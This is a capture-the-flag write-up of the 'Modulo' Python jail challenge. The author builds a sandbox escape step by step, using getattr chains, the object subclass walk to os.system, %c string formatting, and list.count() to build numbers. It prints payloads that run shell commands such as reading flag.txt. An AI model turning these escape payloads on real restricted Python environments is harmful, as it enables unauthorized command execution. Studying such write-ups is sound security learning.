🏆 ScriptCTF 2025 Best Unintended writeup winner
Challenge Name: Modulo
Category: Misc
Points: 500
Solves: 20 solves
Challenge Description: Modulo is so cool!
Files:
Kickoff
This is one of the craziest Pyjails I’ve ever played and I thought it deserves a writeup. There were over 1800 teams and only 20 of them solved it, I managed to secure the third blood.
Please try to solve this challenge on your own first before you read this so you can understand better my thought process.
And I promise you, you’ll learn a lot of tricks!
Analysis
1 | import ast |
from the first look we can see it’s simply executing our payload with exec
without any builtins.
also we have a very strict whitelist of chars
- All capital letters from A to Z are allowed
- only 1 lowercase letter allowed which is c
- All numbers from 0-9 are blacklisted
- Some symbols like
()%+:*.,[]
are allowed
Base exploit
Since I’m a a Jinja STTI fan, I always go for the standard gadget to access the OS from any subclass of Object
that imports it. If you don’t know what that is here is a veryyy good explanation
1 | {}.__class__.__mro__[1].__subclasses__()[146].__init__.__globals__['os'].system("ls") |
btw I used the Dockerfile locally to find which subclass number I need that imports os in it’s globals.
So.. why can’t we run this payload yet?
- We can’t access any attribute/method like
__class__
since [a-z] and _ are blacklisted (except c) - We can’t create strings like
"cat /flag.txt"
since again lowercase chars are blacklisted - We can’t create numbers like
146
since [0-9] are blacklisted
I’ll explain my exploit into 3 steps each time breaking one of these rules
Making a payload
1. Attributes
This one is pretty easy and straight forward to bypass, let’s take a look at the command used to execute our payload
1 | exec(payload,{'__builtins__':{},'c':getattr}) |
They are passing c
as getattr
and we are allowed to type the letter c.
So we can use getattr({},'__class__')
instead of {}.__class__
, so this is our new payload
1 | c(c(c(c(c(c({},'__class__'),'__mro__')[1],'__subclasses__')()[146],'__init__'),'__globals__')['os'],'system')("ls") |
2. Strings
Okay now let’s find a way to bypass the strings so we don’t have type any lowercase character.
I was googling for python string prefixes like f"abc"
and u"abc"
that might be useful because I thought about an Idea I’ll use and explain later.
While searching, I found this. Apparently you can write any string with numbers with using "%c" % <ASCII_CODE>
.
The feature is called Python Modulo String Formatting
so it matches the task name!
1 | print("%c%c%c" % (65,66,67)) # this will print ABC |
Since we are allowed to use %
,c
,()
and "
we can replace strings like
1 | "__mro__" == "%c%c%c%c%c%c%c" % (95, 95, 109, 114, 111, 95, 95) # True |
our new payload
1 | (c(c(c(c(c([],'%c%c%c%c%c%c%c%c%c'%(95,95,99,108,97,115,115,95,95)),'%c%c%c%c%c%c%c'%(95,95,109,114,111,95,95))[O],'%c%c%c%c%c%c%c%c%c%c%c%c%c%c'%(95,95,115,117,98,99,108,97,115,115,101,115,95,95))()[146],'%c%c%c%c%c%c%c%c'%(95,95,105,110,105,116,95,95)),'%c%c%c%c%c%c%c%c%c%c%c'%(95,95,103,108,111,98,97,108,115,95,95))['%c%c'%(111,115)],'%c%c%c%c%c%c'%(115,121,115,116,101,109))('%c%c%c%c%c%c%c%c%c%c%c%c'%(99,97,116,32,102,108,97,103,46,116,120,116)) |
3. Numbers
All we have to do is to generate numbers such as 146,95,111,etc… and our payload will give us RCE !
A common way is to generate a number like ONE=1
and keep adding it.
So for example, if we want 95
we will have ONE+ONE+ONE+ONE+...(91 more times)
Uppercase chars allowed so I used them to create a variable to store 1
in a variable called ONE
and the way to generate it was like this
1 | ONE = ~~([] < [[]]) |
Short explanation
1 | [] < [[]] # True, because an empty list is considered less than a non-empty list |
Now we are ready!!!!!
we should be able to generate A by adding ONEs until we reach 65 and use it in %c
, RIGHT????
1 | ((ONE := ~~([] < [[]])) , "%c" % ONE+ONE+ONE+..(62 more times) ) # should give A |
WTF ???? (Unintended)
I ran my script to get the flag 🔥 .. but there was no flag!
This part is where it will get CRAZY and from what I heard from the author after showing him my solver, this is unintended (squar3 moment) and there is an easier way.
Apparently, when I read the source code I missed a very important part :<
1 | tree = ast.parse(payload) |
Only Modulo(%
) operations are allowed, NO +
NO *
NO /
. So doing ONE+ONE+ONE+ONE+...
will simply trigger the error I don't like math :(
So let’s think of a way to generate numbers like 65
so we can turn them into A
.
As I said earlier I wanted to do something with prefixes because I thought about a way to generate a specific string. this works because the f
string prefix which helps us use variables in strings: (I used capital F because lowercase chars are banned)
1 | c = getattr # we have this in the exec |
I didn’t know what I can do with this when I found it until we reached here and I remembered we now have a variable ONE
and we can take any character from this string.
example:
1 | F"{c}"[0] == "<" |
and we can generate any string including these characters for example
1 | "%c%c%c" % (F"{c}"[ONE], F"{c}"[ONE:][ONE], F"{c}"[ONE]) == "bub" |
I started listing attributes and methods of each python object usingprint(dir(c))
, print(dir({}))
, print(dir([]))
and so on…
looking for something I can grab with characters from the string "<built-in function getattr>"
that can help me.
Firstly, I thought about getattr('ANYTHING','__len__')
which can help me generate any number from string length, but _
is banned and not in the string "<built-in function getattr>"
.. so plan failed!
Then I found something that looked promising
1 | dir([]) |
[].count()
is what we are looking for. the chars c,o,u,n,t
are all included in "<built-in function getattr>"
string
1 | "<built-in function getattr>" == F"{c}" |
now, [].count()
can help us get any number we want for example
1 | [c,c,c,c,c,c].count(c) # 6 |
and to generate the string count we had to do
1 | "c%c%c%c%c" % (F"{c}"[ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE],F"{c}"[ONE:][ONE],F"{c}"[ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE],F"{c}"[ONE:][ONE:][ONE:][ONE:][ONE])) |
That’s it.. now we can generate numbers without +
sign I just have to make a program that turn numbers into their equivalent formula of [c,c,c,c,c,c,..].count(c)
solver.py
1 | def getnum(n: int) -> str: |
1 | Payload Sent: 26578 bytes |
Unintended+++
Even tho I got the flag! After the ctf ended, I was searching for more crazy things I can do with this task.
Apparently this all works because the author forgot to remove all uppercase characters and allowing us to use the F
prefix. so let’s keep abusing it!
After a while, I managed to solve Modulo task without using any Modulo operator
The only thing I did was changing the Python Modulo String Formatting
to just F
prefix strings
1 | "%c%c" % (65,65) # AA |
while keep using the WTF way for replacing numbers !
Thank you all for reading!